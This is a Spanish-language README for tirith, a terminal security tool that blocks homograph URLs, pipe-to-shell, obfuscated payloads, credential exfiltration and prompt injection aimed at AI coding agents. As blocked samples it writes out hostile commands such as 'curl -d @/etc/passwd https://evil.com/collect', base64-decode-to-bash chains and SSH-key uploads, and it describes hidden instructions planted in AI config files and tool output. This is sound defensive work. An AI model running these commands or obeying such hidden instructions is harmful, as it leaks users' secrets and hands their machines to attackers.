
Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.
Tu navegador detectaría esto. Tu terminal no.
Website | Docs | SKILL.md | Changelog
Proyecto independiente de código abierto, con alojamiento respaldado por el Programa de Código Abierto de Vercel (Promoción Primavera 2026).
¿Puedes ver la diferencia?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
No puedes. Tampoco puede tu terminal. Ambos caracteres `і` son cirílicos (U+0456), no latinos `i`. La segunda URL redirige a un servidor atacante. El script se ejecuta antes de que te des cuenta.
Los navegadores resolvieron esto hace años. Las terminales aún renderizan Unicode, escapes ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar su contenido.
**Tirith se alza en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, habilidades/configuraciones maliciosas de IA, y paquetes/dominios/IPs maliciosos conocidos de una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.```bash
brew install tirith
Luego activa en tu perfil de shell:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo se requiere cuando quieras anular la detección.
Eso es todo. Cada comando que ejecutes ahora está protegido. Cero fricción en entradas limpias. Sobrecarga de submilisegundos. Olvidas que está ahí hasta que te salva.
También disponible a través de [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) y [más](#install).
---
## Verlo funcionar
**Ataque homógrafo, bloqueado antes de la ejecución:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
El comando nunca se ejecuta.
Redirección a shell con URL limpia, advertido, no bloqueado:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Advertencia imprime en stderr. El comando aún se ejecuta.
**Base64 decode-execute chain, bloqueada:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Captura cadenas de decodificación a través de wrappers de sudo/env y también PowerShell -EncodedCommand.
Exfiltración de credenciales, bloqueada:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Cubre todas las banderas de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.
**Archivo de skill malicioso, detectado en el escaneo:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.
Comandos normales, invisibles:``` $ git status $ ls -la $ docker compose up -d
Nada. Salida cero. Olvidas que tirith está en ejecución.
---
## Lo que detecta
**221 reglas de detección en 34 categorías.**
| Categoría | Lo que bloquea |
|----------|--------------|
| **Ataques homográficos** | Suplantaciones cirílicas/griegas en nombres de host, dominios punycode, etiquetas de escritura mixta, TLDs suplantables, dominios confundibles, detección de confundibles a nivel de texto (alfanuméricos matemáticos, escritura mixta en la misma palabra) |
| **Inyección en terminal** | Secuencias de escape ANSI, anulaciones bidireccionales, caracteres de ancho cero, etiquetas unicode, operadores matemáticos invisibles, selectores de variación, caracteres de relleno Hangul |
| **Defensa contra esteganografía** | Codificación de espacios en blanco invisibles (12 variantes de espacio unicode), Separador de Vocal Mongol, caracteres de relleno Hangul, sustitución alfanumérica matemática, defensas contra esteganografía de texto al estilo st3gg |
| **Tubería a shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, cada patrón de origen a sumidero |
| **Decodificación Base64 y ejecución** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadenas de decodificación a través de envoltorios sudo/env |
| **Exfiltración de datos** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, subidas de variables de entorno (`$AWS_SECRET_ACCESS_KEY`), exfiltración por sustitución de comandos |
| **Escaneo de archivos de código** | Cargas útiles ofuscadas (`eval(atob(...))`), ejecución dinámica de código (`exec(b64decode(...))`), exfiltración de secretos mediante `fetch`/`requests.post` en archivos JS/Python |
| **Detección de credenciales** | Claves AWS, PATs de GitHub, tokens de Stripe/Slack/SendGrid/Anthropic/GCP/npm, bloques de claves privadas, más detección genérica de secretos basada en entropía |
| **Comportamiento posterior a la intrusión** | Raspado de memoria de procesos (`/proc/*/mem`), escalada de privilegios remota en Docker, barridos de archivos de credenciales, calibrado contra herramientas posteriores a la intrusión de TeamPCP y UNC1069 |
| **Seguridad de comandos** | Sobrescritura de dotfiles, extracción de archivos a rutas sensibles, acceso a puntos finales de metadatos en la nube, acceso a redes privadas |
| **Transporte inseguro** | HTTP plano enviado a shell, `curl -k`, verificación TLS deshabilitada, URLs acortadas que ocultan destinos |
| **Entorno** | Secuestro de proxy, exportaciones de entorno sensibles, inyección de código a través de entorno, secuestro de intérprete, inyección de shell a través de entorno |
| **Seguridad de archivos de configuración** | Inyección en configuraciones, indicadores sospechosos, unicode no ASCII/invisible en configuraciones, seguridad del servidor MCP (inseguro/no confiable/duplicado/permisivo) |
| **Amenazas del ecosistema** | Typosquats de clonación de Git, registros Docker no confiables, instalaciones pip/npm desde URLs, puntos finales RPC web3, vet-no-configurado |
| **Seguridad en comandos de instalación** | Repositorios APT añadidos desde una descarga canalizada, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificaciones de firma deshabilitadas), `kubectl apply -f` contra manifiestos remotos sin procesar/acortados, charts de Helm desde repositorios no confiables, módulos de Terraform desde fuentes remotas no confiables, `brew install`/`tap` desde URLs arbitrarias |
| **Análisis de rutas** | Rutas no ASCII, homoglifos en rutas, doble codificación |
| **Contenido renderizado** | Contenido CSS/color oculto, atributos HTML ocultos, análisis de contenido de comentarios (inyección de prompt en Alto, comandos destructivos en Medio) |
| **Detección de ocultación** | Ocultación del lado del servidor (bot vs navegador), contenido oculto en portapapeles, texto oculto en PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusiones de Windows Defender (`Add-MpPreference -Exclusion*`), `iex (iwr ...)` en línea para descarga-ejecución |
| **Defensa en salida de terminal** | Escrituras en portapapeles OSC 52, avisos falsos, enlaces OSC 8, manipulación de título / borrado de pantalla, inyección de prompt dentro de la salida de comandos o herramientas MCP (escaneado tanto en bruto como desofuscado, por lo que también se detectan caracteres invisibles, confundibles, espaciados, leetspeak y evasiones cortas en base64/hex), y exfiltración de datos de salida (URLs de baliza o directivas de "lee un secreto y luego envíalo") |
| **Contexto operativo** | Comandos destructivos contra contextos de nube / k8s etiquetados como producción y hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, escalada sudo riesgosa, `docker run` privilegiado |
| **Estación de trabajo y persistencia** | Archivos de credenciales con permisos laxos y tokens en texto plano (`~/.ssh`, `~/.aws`, `.npmrc`), puntos de apoyo de persistencia (rc de shell, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` de git), orden de secuestro de PATH, procedencia de ejecutables, alias riesgosos y ciclo de vida de variables de entorno sensibles |
| **Radio de explosión y correlación** | Eliminaciones que escapan del repositorio, eliminaciones masivas, ejecución de archivos descargados desde fuentes riesgosas y cadenas de sesión como escritura de secreto seguida de red o eliminación seguida de `git push --force` |
| **Confianza, atestación y procedencia** | Desajuste de tarjeta de comando firmada, toques de honeytoken canary, desajuste de origen de pegado, denegaciones de política de origen de llamante (agente), desviación de lockfile MCP, y desviación de configuración de IA respecto a una instantánea segura conocida |
---
## Contra lo que tirith NO protege
Tirith analiza la **estructura** de comandos, texto pegado y archivos antes de
que se ejecuten. Es una puerta de pre-ejecución, no una defensa en tiempo de ejecución, y no cubre:
- **Aislamiento en tiempo de ejecución:** tirith advierte o bloquea; no aísla
un comando una vez que se ejecuta.
- **Monitoreo de red posterior a la ejecución:** lo que un proceso hace en la red después
del lanzamiento está fuera del alcance.
- **Detección de malware / cargas útiles:** tirith analiza estructura, no comportamiento
de la carga útil. No es un antivirus y no detona ni compara firmas.
(`tirith run` verifica la estructura de un script descargado, sigue sin ser análisis de malware).
- **Un atacante privilegiado (root/admin):** cualquier persona que ya sea root o admin puede
eludir tirith trivialmente. Defiende contra entrada engañosa, no contra un atacante que ya
posee la máquina.
- **Anti-depuración / anti-manipulación:** tirith no resiste la ingeniería inversa
ni protege su propio binario de un atacante local.
Consulte [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) para el modelo de amenazas completo y
los no objetivos explícitos.
---
## Limitaciones conocidas
- **Fragilidad del hook de shell:** la protección depende de que un hook de shell permanezca instalado
y activo. Los hooks pueden romperse o degradarse silenciosamente entre shells, versiones de shell,
marcos de prompt y herramientas de historial. Ejecute `tirith doctor` para verificar el estado en vivo
y observe la degradación solo con advertencia.
- **Funciones solo Unix:** el modo daemon, `tirith setup`, `tirith run` y
`tirith fetch` son solo Unix hoy en día.
- **Alcance de extracción de nombres de paquetes:** cubre ecosistemas de lenguajes (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no gestores de paquetes
de distribución (`apt`, `dnf`, `yum`, `pacman`).
- **Advertencias para agentes de IA:** la intercepción del hook de shell solo protege comandos que pasan
a través de un shell interactivo con hook. Un agente que genera un shell no interactivo,
llama a `exec` directamente o se ejecuta sin el hook cargado no está cubierto.
La protección MCP es de asesoramiento (el agente debe llamar a las herramientas MCP de tirith), no
es obligatoria.
---
## Inteligencia de amenazas
Tirith incluye una base de datos de amenazas local firmada para reputación de paquetes, nombres de host y direcciones IP. Cuando un hook de shell o `tirith check` ve una instalación de paquete o referencia a infraestructura sospechosa, lo compara con la base de datos antes de que el comando se ejecute, en lugar de confiar solo en heurísticas estáticas.
**BD firmada** (generada diariamente por CI, verificada en descarga y carga):
- Paquetes maliciosos conocidos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) y [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestructura IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados y líneas base de paquetes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlación de avisos en tiempo de ejecución
**Fuentes suplementarias opcionales** (superposición local del usuario):
- [URLhaus](https://urlhaus.abuse.ch/) y [ThreatFox](https://threatfox.abuse.ch/) mediante una clave de autenticación de abuse.ch
- Listas de bloqueo de [PhishTank](https://phishtank.org/) (Cisco Talos) y [Phishing Army](https://phishing.army/)
- Lista de nodos de salida Tor de [Tor Project](https://www.torproject.org/)
**Enriquecimiento en vivo opcional** durante `tirith check` y modo daemon:
- Consultas de avisos [OSV.dev](https://osv.dev/) (Google OSS)
- Señales de salud de paquetes [deps.dev](https://deps.dev/) (Google OSS) y datos de mantenedores de [ecosyste.ms](https://ecosyste.ms/)
- Reputación de URLs de [Google Safe Browsing](https://safebrowsing.google.com/) con su propia clave API```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
Por defecto, los ganchos de shell y tirith check desencadenan una verificación de actualización en segundo plano de bajo costo cada 24 horas. El modo demonio mantiene el mismo camino de enriquecimiento activo en segundo plano.
threat-db explain acepta un dominio, un nombre de paquete (name, ecosystem:name, o name@version), o una dirección IPv4. El binario no conserva historial por entrada, por lo que threat-db diff reporta categoría y deltas de recuento por fuente entre instantáneas, no las entradas exactas cambiadas. Cada comando threat-db acepta --format json; threatdb es un alias.
tirith package risk <ecosystem> <name> puntúa el riesgo de la cadena de suministro/mantenedor de un paquete de la misma manera que tirith score puntúa una URL, una suma determinista y completamente explicable de factores nombrados, sin modelo ni pesos aprendidos. tirith package explain <ecosystem> <name> agrega la derivación factor por factor; ambos aceptan --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**Sin conexión por defecto.** Sin indicadores, cada señal es local, sin llamada de red: (1) **nombre vs. paquetes populares**: conocido-popular, desconocido, o un error de un carácter cercano a un nombre popular (la forma clásica de typosquat/slopsquat), proveniente del conjunto `popular` de la base de datos de amenazas local; (2) **typosquat malicioso conocido**: una coincidencia exacta en el índice `typosquat` de la base de datos de amenazas; (3) **scripts de instalación / ciclo de vida** y (4) **binarios empaquetados**, detectados solo cuando el contenido del paquete está disponible localmente (en `node_modules` / `site-packages`, o mediante `--path`). tirith **nunca descarga** el paquete.
**`--online` añade procedencia del registro.** Consulta el registro del paquete (npm, PyPI o crates.io) para seis factores adicionales en el *mismo* modelo de suma de factores: antigüedad del paquete/versión, un paquete establecido sin propietarios, un pico anormal de versiones, descargas muy bajas, un repositorio fuente faltante y estado de yanked/obsoleto. Es la única ruta que toca la red (nunca la ruta crítica `check`); `--offline` / `TIRITH_OFFLINE` fuerzan el modo sin conexión independientemente. Los fallos vuelven a la puntuación sin conexión con un honesto `api signals: unavailable`, y las respuestas se almacenan en caché con un TTL para que las ejecuciones repetidas no golpeen los registros.
La puntuación es informativa e independiente: `package risk` no es una regla de detección y no cambia ningún veredicto, código de salida o registro de auditoría.
### Escaneo del ecosistema, firewall de la cadena de suministro
`tirith ecosystem scan [ruta]` es el complemento a nivel de directorio de `package risk`. Recorre un proyecto, descubre cada manifiesto de dependencias que entiende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`) y puntúa **cada dependencia declarada** con el mismo motor determinista de factores `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
Incluye detección de slopsquatting. Slopsquatting es el registro de un nombre plausible pero falso que los LLMs tienden a alucinar como dependencia. ecosystem scan lo marca solo cuando se cumplen las tres condiciones: el nombre no es conocido-real o popular, tiene forma de alucinación de IA (un prefijo de lenguaje como python-/node- más tokens descriptivos, una pila de relleno genérico como helper/utils/client, o un nombre inusualmente largo), y está cerca de un nombre popular real (un casi acierto de una edición, o incrusta un nombre popular como palabra). Exigir las tres mantiene bajos los falsos positivos: un data-utils honesto sin un ancla popular no se dispara.
Fuera de línea por defecto, opt-in --online. Las señales de nombre y typosquat provienen de la base de datos local de amenazas; --online añade procedencia del registro, controlada y degradada exactamente como package risk --online, nunca en la ruta crítica de check. Los hallazgos fluyen a través del modelo normal Verdict/Finding de tirith: explicable (tirith explain --rule threat_suspicious_package), registrado en auditoría, y respetando la lista blanca de políticas (un paquete en lista blanca, por nombre simple o ecosystem:name, se suprime). Los códigos de salida coinciden con tirith scan: 1 para un hallazgo bloqueante, 2 para asesoramiento, 0 cuando está limpio.
Esto ayuda a detectar paquetes maliciosos conocidos, typosquats confirmados, nombres de paquetes slopsquatted, infraestructura de descarga maliciosa y paquetes con datos de aviso OSV/CISA KEV en vivo.
Familias de ataques para las que está construido tirith (ilustrativo, no una afirmación de captura por código actual):
La extracción de nombres de paquetes actualmente cubre ecosistemas de lenguaje (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no administradores de paquetes a nivel de distribución (apt/dnf/yum/pacman). Es por eso que xz-utils, que ingresó a través de tarballs de distribuciones Linux, no está en la tabla a pesar de ser un incidente destacado.
Tirith protege a los agentes de codificación de IA en cada capa, desde las configuraciones que leen hasta los comandos que ejecutan.
Cuando los agentes de IA ejecutan comandos de shell (Claude Code, Codex, Cursor, etc.), los hooks de shell de tirith interceptan cada comando antes de que se ejecute. No se necesita configuración del lado del agente; si el hook está activo en el shell, todos los comandos están protegidos:
Use tirith setup <tool> para configuración con un solo comando (ver Integraciones de agentes de IA).
tirith mcp lock captura cada servidor MCP que un repositorio declara, a través de .mcp.json/mcp.json/mcp_settings.json y las variantes de configuración del IDE (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), en un archivo de bloqueo determinista en .tirith/mcp.lock. Cada servidor se registra con su transporte (una URL remota, o un comando local + args), herramientas declaradas y un hash de contenido; los servidores se ordenan por nombre para que el archivo de bloqueo sea compatible con diff. El descubrimiento es solo local al repositorio y no toca la red. (tirith mcp es un grupo de comandos separado de , que ejecuta tirith un servidor MCP.)
tirith mcp verify es el compañero de compuerta: reconstruye el inventario actual contra el archivo de bloqueo confirmado y sale con 1 en caso de desviación (0 coincide, 2 en errores de uso como un archivo de bloqueo faltante). tirith mcp diff informa la misma desviación de forma informativa (siempre sale 0, 2 solo en errores de uso, para que un consumidor pueda distinguir "sin desviación" de "no se pudo verificar"). La desviación también surge a través de tirith scan como mcp_server_drift (Medium), por lo que un hook pre-commit o CI detecta un cambio en la superficie MCP de la misma manera que detecta una acción sin pin. verify/diff nunca imprimen valores de entorno o userinfos de URL, solo los nombres de lo que cambió.
Dos campos de política gobiernan lo que se acepta: scan.trusted_mcp_servers suprime los hallazgos de configuración de un servidor y silencia su desviación, y scan.mcp_allowed_tools declara las herramientas exactas que cada servidor puede exponer (una herramienta fuera de ese conjunto genera un hallazgo mcp_server_drift de Alto, y la desviación que agrega dicha herramienta actualiza de Medio a Alto). tirith mcp policy init andamia ambos bloques desde el archivo de bloqueo actual en .tirith/mcp-policy.yaml.example, cada entrada comentada para que la importación nunca amplíe silenciosamente la confianza.
tirith scan detecta inyección de prompt y cargas útiles ocultas en archivos de configuración de IA. Prioriza y escanea más de 50 patrones conocidos de archivos de configuración de IA:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/ configuraciones, agentes, habilidades, plugins, reglas.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configuracionesmcp.json, .mcp.json, Lo que detecta en configuraciones:
tirith scan también inspecciona los archivos que un repositorio registra para describir su propia tubería de construcción e implementación. Detecta el patrón peligroso, no la herramienta: una acción fijada con SHA, una imagen fijada con digest, un módulo Terraform local y un package.json normal se mantienen limpios.
Lo que detecta en archivos de CI/infraestructura:
.github/workflows/*.yml), una referencia uses: de acción fijada a un ref mutable (@v3, @main) en lugar de un SHA de commit; el disparador pull_request_target; un curl … | bash pipe-to-shell en un paso run:; un valor ${{ github.event.* }} controlable por atacante interpolado en un paso de shell run: (inyección de script)FROM en la etiqueta mutable latest (o sin etiqueta) sin un pin de digest @sha256:*.tf), un bloque proveniente de una ubicación remota/no confiable en lugar de una ruta local o el Registro de TerraformTres valores integrados de --profile ajustan el escaneo: ci-hardening (cada verificación a plena potencia, fallo en high), ai-agent-repo (conserva hallazgos de inyección, elimina ruido de higiene de fijación de bajo valor) y oss-maintainer (enfatiza el riesgo controlable por el contribuyente al revisar un cambio).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
### Detección de contenido oculto
Detecta contenido invisible para los humanos pero legible por IA en HTML, Markdown y PDF:
- **Ocultación CSS**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, posicionamiento fuera de pantalla
- **Ocultación por color**: texto blanco sobre blanco, primer plano/fondo similar (relación de contraste < 1.5:1)
- **Comentarios HTML/Markdown**: frases de inyección de prompt (Alto), comandos destructivos como `rm -rf` o `curl|bash` (Medio), comentarios largos que ocultan instrucciones (Bajo)
- **Texto oculto en PDF**: texto renderizado en subpíxeles (font-size < 1px) invisible para lectores pero analizable por LLMs
### Escaneo de contenido oculto en archivos relevantes para IA
`tirith scan` también inspecciona tipos de archivo que un agente de IA (o un renderizador) lee y sobre los que actúa, buscando contenido **contrabandeado más allá de un revisor humano**. Un notebook normal, un `CLAUDE.md` ordinario con instrucciones visibles y una imagen SVG simple quedan limpios; solo el contenido oculto / contrabandeado dispara una alerta.
- **Jupyter notebooks** (`*.ipynb`): caracteres invisibles / bidi / ancho cero en el código fuente de la celda, un blob codificado en base64 incrustado en el código fuente, una celda oculta de la vista renderizada (`metadata.jupyter.source_hidden` / una etiqueta `hide_input`), y *salidas* de celda que contienen caracteres invisibles o HTML activo / oculto
- **Archivos de instrucciones para agentes de IA** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules` y similares): solo *directivas ocultas*: una instrucción dentro de un comentario HTML (invisible en Markdown renderizado) o un elemento HTML visualmente oculto. Estos archivos legítimamente contienen instrucciones visibles, por lo que las instrucciones visibles ordinarias nunca disparan una alerta
- **Imágenes SVG** (`*.svg`): un `<script>` incrustado, un manejador de eventos `on*` en línea, un URI `javascript:`, un `xlink:href` / `href` remoto, o una declaración XXE de entidad externa
### Detección de cloaking
`tirith fetch` compara las respuestas del servidor en 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) para detectar cuándo los servidores entregan contenido diferente a los bots de IA vs los navegadores.
---
## Contexto operativo y protecciones del entorno de trabajo
Más allá de los comandos individuales, varios grupos de comandos extienden la barrera a tu contexto operativo y al estado de tu entorno de trabajo. Los que tocan la ruta crítica son opt-in (un flag de política); el resto se ejecutan bajo demanda.
**Contexto operativo** (`tirith context`, `ssh`, `iac`, `sudo`). Etiqueta una vez tus contextos de producción en la nube / Kubernetes y hosts SSH, y tirith escala lo que importa: un comando destructivo contra un contexto etiquetado como producción, un SSH a un host etiquetado como producción, un `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, o una escalada con sudo sin una ventana de sesión razonada. Las etiquetas residen en `~/.config/tirith/context-labels.yaml` y `ssh-host-labels.yaml` (o con ámbito de repositorio bajo `.tirith/`).
**Higiene del entorno de trabajo** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Escanea archivos de credenciales con permisos demasiado abiertos y tokens en texto plano (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), compara los puntos de apoyo de persistencia que usa un atacante (shell rc, `authorized_keys`, crontab, LaunchAgents / unidades systemd-user, git `core.hooksPath`), marca alias que ocultan comandos críticos o leen credenciales, audita `$PATH` en busca de orden de secuestro, e informa la procedencia de un binario (dueño del paquete, firma de código, si oculta un comando del sistema).
**Radio de explosión y aislamiento** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Previsualiza el impacto en el sistema de archivos de un comando destructivo antes de ejecutarlo, compara lo que un comando cambió realmente después, ejecuta un comando no confiable en un directorio desechable, y rastrea archivos descargados de fuentes riesgosas para que ejecutar uno más tarde dispare una alerta. `temp-run` solo cambia el directorio de trabajo; es aislamiento de archivos, no una caja de arena.
## Confianza, atestación y respuesta a incidentes
- **Atestaciones de comandos** (`tirith command-card`) firma un comando conocido como seguro con una clave ed25519; una tarjeta de confianza que ya no coincide con el comando dispara una alerta Alta.
- **Manifiesto de comandos del repositorio** (`tirith commands`) es una lista blanca `.tirith/commands.yaml` que silencia la nota de comando desconocido para comandos autorizados y agrega una lista `dangerous[]` solo de elevación (puede endurecer un veredicto, nunca debilitarlo).
- **Honeytokens** (`tirith canary`) planta tokens señuelo claramente sintéticos; un toque en cualquier comando verificado, pegado o salida de herramienta dispara una alerta Alta. La detección es una búsqueda en el almacén local, no una coincidencia de forma.
- **Rotación de secretos** (`tirith secret`) lee hallazgos recientes de credenciales de tu registro de auditoría e imprime pasos específicos de rotación / revocación por proveedor para 11 proveedores. Nunca rota nada por sí mismo y no realiza llamadas de red.
- **Modo de incidente** (`tirith incident`) declara una postura "bajo ataque": fuerza `fail_mode: closed`, deshabilita la omisión `TIRITH=0`, y eleva las reglas de barrido de credenciales, decodificación-ejecución y binario sospechoso hasta que lo detengas.
## Seguridad en salida, pegado y uso compartido
- **Defensa de dirección de salida** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) neutraliza escapes de engaño de terminal en la salida de comandos y herramientas MCP: escrituras de portapapeles OSC 52, prompts falsos, desajuste de hipervínculo OSC 8, y manipulación de título / limpieza de pantalla. También escanea la salida en busca de inyección de prompt (cruda y desofuscada) y balizas de exfiltración de datos. Agrega semillas personalizadas con `injection_seeds_custom`, y opta por redactar un bloque MCP solo de inyección a una advertencia (en lugar de bloquear toda la salida) con `mcp_redact_injection`.
- **Redacción consciente de la audiencia** (`tirith share`, `tirith redact`, `tirith logs`) elimina secretos e IDs de cliente / inquilino antes de pegar en un issue de GitHub, Slack, un LLM o un paste público.
- **Procedencia del pegado** (`tirith paste --with-source`, `tirith browser`). Con el host de mensajería nativa de Chrome complementario instalado, tirith atribuye un comando pegado a su página de origen y marca un pegado cuyo host de origen difiere de donde se ejecuta el comando.
---
## Instalación
### macOS
**Homebrew:**```bash
brew install tirith
Debian / Ubuntu (.deb):
Descargar desde GitHub Releases, luego:```bash sudo dpkg -i tirith_*_amd64.deb
**Fedora / RHEL / CentOS 9+ (.rpm):**
Descarga desde [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), luego:```bash
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):```bash yay -S tirith
**Nix:**```bash
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux se ejecuta en Bionic libc, no en glibc, por lo que la compilación aarch64-unknown-linux-gnu no puede ejecutarse allí, necesita el enlazador dinámico de glibc. Use la compilación musl en su lugar: tirith-aarch64-unknown-linux-musl.tar.gz está enlazado estáticamente y se ejecuta en Termux sin una libc externa.```bash
pkg install curl tar
curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Luego activa el hook del shell en `~/.bashrc` (el shell predeterminado de Termux es bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] El soporte para Termux se ofrece con el mejor esfuerzo. El artefacto musl se compila y se prueba mínimamente en CI, pero tirith aún no se prueba continuamente en un dispositivo Android real. Si un hook se comporta mal bajo Termux, por favor abre un problema con la salida de
tirith doctor.
Todas las funciones principales funcionan en Windows, incluida la detección, el escaneo, los webhooks, la gestión de políticas y las cargas de auditoría. Los hooks de shell son compatibles con PowerShell. El modo demonio y tirith setup son solo para Unix por ahora.
Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith
**Chocolatey** (en moderación, pendiente de aprobación):```powershell
choco install tirith
npm:```bash npm install -g tirith
**Cargo:**```bash
cargo install tirith
Mise (registro oficial):```bash mise use -g tirith
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
### Activación
Añadir a tu perfil de shell (`.zshrc`, `.bashrc` o `config.fish`):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
Bash usa el modo enter cuando una autocomprobación de capacidad ha demostrado que funciona para tu bash, y preexec en caso contrario. tirith setup / tirith doctor ejecutan la autocomprobación; el hook del shell lee su veredicto en caché al inicio. Consulta solución de problemas para más detalles sobre los modos, la autocomprobación y el comportamiento de retroceso SSH.
[!WARNING] El modo preexec de Bash advierte pero no puede bloquear en el lugar. Establece
TIRITH_BASH_PREEXEC_ENFORCE=1para un bloqueo real medianteshopt -s extdebug. La aplicación se niega a activarse cuandoHISTCONTROLcontieneignorespace/ignoredups/ignoreboth, cualquierHISTIGNOREestá establecido, oset +o historyestá activo, esos hacen que el bloqueo sea propenso a condiciones de carrera.
Para un bloqueo garantizado a nivel de línea en bash, ejecuta tirith doctor --simulate-enter, si la entrega funciona, el modo enter está habilitado. Donde no funciona, usa preexec enforce para "bloquea cuando sea posible; te dice honestamente cuando no puede."
Nix / Home-Manager: tirith debe estar en tu $PATH, los hooks del shell llaman a tirith por su nombre en tiempo de ejecución. Agregarlo solo a initContent no es suficiente.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';
### Actualizando y verificando tirith
tirith puede verificar su propia integridad y actualizarse a sí mismo. Ambos comandos acceden a la red solo cuando los ejecutas.```bash
tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
